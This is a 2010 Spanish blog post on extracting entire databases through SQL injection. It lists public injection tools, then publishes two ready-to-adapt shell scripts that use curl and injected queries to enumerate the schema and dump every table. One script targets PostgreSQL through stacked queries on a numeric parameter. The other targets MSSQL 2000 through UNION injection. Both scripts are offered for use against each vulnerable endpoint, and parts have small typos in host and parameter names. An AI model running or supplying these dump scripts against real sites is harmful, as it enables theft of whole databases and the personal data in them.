martes, 13 de abril de 2010

Volcando bases de datos mediante el uso de SQL Injection

Sobre los fundamentos de SQL Injection, pocas cosas nuevas pueden decirse. Basta con realizar breves búsquedas en Internet para encontrar información sobre sus principios, su explotación, técnicas de evasión e incluso la automatización en la recuperación de la base de datos. El presente post aborda algunos detalles, útiles para facilitar y automatizar la adquisición de bases de datos subyacentes a un entorno Web, mediante la utilización de SQL Injection.

Existen múltiples herramientas, a disposición pública, que pueden ser útiles de cara a la extracción de información desde la base de datos, algunas de las herramientas, de libre distribución, más utilizadas son:

Herramienta

Más Información

Mini ysqlat0r

Herramienta multiplataforma (realizada en java) útil para auditar entornos Web. Interesante motor de crawling para enumerar rápidamente los diferentes parámetros susceptibles de inyección SQL

SQLBrute

Herramienta desarrollada en Python y orientada a la explotación de Blind SQL Injections.

SQLiX

Herramienta desarrollada en Perl, útil para el escaneo de entornos Web. Permite la realización de crawling previo a la inyección de código SQL, identifica la base de datos subyacente y permite la ejecución de comandos de sistema (funcionalidad disponible para MS SQL).

SQLsus

Herramienta desarrollada en Perl, útil para la explotación de vulnerabilidades de inyección de código SQL en entornos mysql server.

Sqlmap

Herramienta desarrollada en Python, útil para la explotación de vulnerabilidades de inyección de código SQL. Permite la detección de la base de datos subyacente, database fingerprinting y ejecución de comandos de sistema (funcionalidad disponible para MS SQL), etc. Integración con Metasploit.

SQLninja

Herramienta desarrollada en Perl para la explotación de vulnerabilidades de inyección de código SQL en bases de datos MS SQL Server, permitiendo la ejecución de comandos del sistema, enumeración, ataques de fuerza bruta contra el usuario ‘sa’, etc. La herramienta está dirigida a la intrusión, no tanto como para la adquisición de información. Integración con Metasploit (en caso de utilizar el payload de VNC).

Pangolín

Herramienta propietaria que permite, mediante la explotación de vulnerabilidades de inyección de código SQL, obtener datos de la base de datos subyacente y enumerar información de diferente índole: usuarios, hashes de contraseñas, etc. Permite la elevación de privilegios en el entorno de la base de datos, así como el password cracking de los hashes obtenidos.


De todas formas, independientemente del valor aportado por cada herramienta, el número de puntos de inyección de código SQL no detectado, o simplemente no explotable mediante el uso de herramientas genéricas, es muy significativo. Para estos casos, no hay nada como hacérselo uno mismo.

A continuación se liberan algunos scripts, desarrollados “para salir del paso”, que permiten explotar vulnerabilidades de inyección de código SQL y obtener el volcado íntegro de diferentes motores de bases de datos. Cabe destacar que dichos scripts deberán personalizarse para cada punto de inyección que se desee explotar.

Volcado de una base de datos Postgresql, mediante la inyección de código SQL en un parámetro numérico (y por consiguiente, evasión del parseo de comillas)

##############################################################################

#Volcado de una BBDD basada en PostgreSQL

#mediante la inyección de código SQL

#en un parámetro numérico

#

# http://www.blueliv.com

#

##############################################################################

#!/bin/sh

>esquema_bbdd.txt

#Número total de filas necesario para obtener el esquema de la BBDD

num_tables=`curl -s --data 'parametro_vulnerable=1); SELECT count(*) FROM pg_class,pg_attribute WHERE pg_attribute.attrelid=pg_class.oid AND attnum > 0 limit 1 offset 0;--' http://www.site_vulnerable.com/file.php | grep palabra_token | awk -F ": " {'print $2'} | awk -F "<" {'print $1'}`

#Obtención del esquema de la base de datos

NUM=0

while [ $NUM -lt $num_tables ]; do

curl -s --data 'parametro_vulnerable=1); SELECT relname||chr(124)||attname||chr(124)||atttypid FROM pg_class,pg_attribute WHERE pg_attribute.attrelid=pg_class.oid AND attnum > 0 AND atttypid != 16 order by relname limit 1 offset '$NUM';--' http://www.www.site_vulnerable.com/file.php | grep palabra_token | awk -F ": " {'print $2'} | awk -F "<" {'print $1'} >> esquema_bbdd.txt

((NUM = NUM + 1))

done

#Obtención del contenido de las tablas, fila a fila, mediante concatenación

for table in `cat esquema_bbdd.txt | awk -F "|" {'print $1'} | sort -u | grep -v "pg_" | grep -v "pga_"`; do

row=`cat esquema_bbdd.txt | grep $table | awk -F "|" {'print $2"::text||chr(124)||"'} | tr -d '\n'`

row_total=`curl -s --data 'parametro_vulnerable=1); SELECT count(*) FROM '$table' limit 1;--' http://www.site_vulnerable.com/file.php | grep palabra_token | awk -F ": " {'print $2'} | awk -F "<" {'print $1'}`

rownumber=0

echo $table

columns=`echo $row | sed -e 's/||chr(124)||/|/g'`

echo $columns

while [ $rownumber -lt $row_total ]; do

row2=`echo $row | sed -e 's/||chr(124)||$//'`

valor_fila=`curl -s --data 'parametro_vulnerable=1); SELECT '$row2' FROM '$table' limit 1 offset '$rownumber';--' http://www.site_vulnerable.com/file.php | grep palabra_token | awk -F ": " {'print $2'} | awk -F "<" {'print $1'}`

echo $valor_fila

((rownumber = rownumber + 1))

done

echo ""

sleep 1

done

Volcado de una base de datos MSSQL Server 2000, mediante la inyección de código SQL utilizando el operador UNION

##############################################################################

#Volcado de las 100 primeras filas de todas las

# tablas de usuario de una BBDD basada en MSSQL Server 2000

#mediante la inyección de código SQL

#utilizando el operador UNION:

#

# http://www.blueliv.com

#

##############################################################################

#!/bin/sh

#>esquema_bbdd_se.txt

>volcado_bbdd_se.csv

>columnas_invalidas_se.txt

#Obtención del esquema de la base de datos

#num_tables=`curl -s --data "parametro_vulnerable=1%27+union+(SELECT (o.name%2B'|'%2Bc.name)+FROM+dbo.syscolumns+c+INNER+JOIN+dbo.sysobjects+o+ON+c.id=o.id+WHERE+o.xtype='u')+--" http://www.site_vulnerable/file.php | grep "option value" | awk -F "\"" {'print $2'} > esquema_bbdd_se.txt`

#Obtención del total de filas para cada tabla

for table in `cat esquema_bbdd_se.txt | awk -F "|" {'print $1'} | sort -u`; do

total_row=`curl -s --data "parámetro_vulnerable=1%27+union+(SELECT count(*) from "$table")--" http://www.site_vulnerable.com/file.php | grep "palabra_token" | awk -F "\"" {'print $2'}`

echo $table" ("$total_row" registros)"

for column in `cat esquema_bbdd_se.txt | grep ^$table\| | awk -F "|" {'print $2'}`; do

echo -n "$column|"

done

echo ""

query=`cat esquema_bbdd_se.txt | grep ^$table\| | awk -F "|" {'print "cast(coalesce("$2",'\'\'')+as+varchar)%2B'\'\|\''%2B"'} | tr -d '\n'`

tam=`cat esquema_bbdd_se.txt | grep ^$table\| | awk -F "|" {'print "cast(coalesce("$2",'\'\'')+as+varchar)%2B'\'\|\''%2B"'} | tr -d '\n' | wc -c`

let tam2=$tam-9

query=`cat esquema_bbdd_se.txt | grep ^$table\| | awk -F "|" {'print "cast(coalesce("$2",'\'\'')+as+varchar)%2B'\'\|\''%2B"'} | tr -d '\n' | cut -b-$tam2`

errores=`curl -s --data "parametro_vulnerable=null%27 union (select top 1 "$query" FROM "$table")--" http://www.site_vulnerable.com | egrep -i 'column|Error'`

echo "Error en tabla $table -> $errores" >> columnas_invalidas_se.txt

#Obtenición de las 100 primeras filas de cada tabla

valor_tabla=`curl -s --data "parametro_vulnerable=null%27 union (select top 100 "$query" FROM "$table")--" http://www.site_vulnerable.com/file.php | grep "option value" | awk -F "\"" {'print $2'}`

echo "$valor_tabla"

echo ""

sleep 1

done

* El texto destacado en rojo es susceptible de ser modificado para cada punto de inyección

No podría despedirme sin hacer mención al capítulo “Data Validation” del proyecto OWASP donde se puede encontrar información, siempre interesante, sobre los fundamentos de lo anteriormente explicado.